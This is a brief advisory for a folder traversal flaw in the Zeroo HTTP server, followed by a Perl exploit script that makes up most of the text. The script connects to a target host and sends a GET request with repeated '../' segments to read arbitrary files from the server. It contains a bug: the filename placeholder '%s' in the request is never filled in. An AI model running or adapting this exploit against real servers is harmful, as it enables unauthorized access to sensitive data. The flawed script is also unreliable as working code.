    According to the vendor's web page <http://lonerunner.cfxweb.net>, Zeroo is
    a "simple, small, portable, fast HTTP server".  The server is available for
    Windows, and Linux operating systems.
    
    A folder traversal flaw in the server may allow attackers to compromise
    sensitive information stored on the server's volume.
    
    #!/usr/bin/perl
    use IO::Socket;
    $pkt = "GET /../../../../../../../../../../../../../../../../../../../../%s
    HTTP/1.0\r\n\r\n";
    if (@ARGV < 2 || @ARGV > 3) {
    print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
    exit;
    }
    if (@ARGV==3) {
    $port=$ARGV[2];
    } else {
    $port=80;
    }
    $f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
    if (!defined($f)) {
    $err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
    print STDOUT $err;
    exit;
    }
    $f->autoflush(1);
    print $f $pkt;
    while (defined($line = <$f>)) {
    print STDOUT $line;
    }
    undef $f;
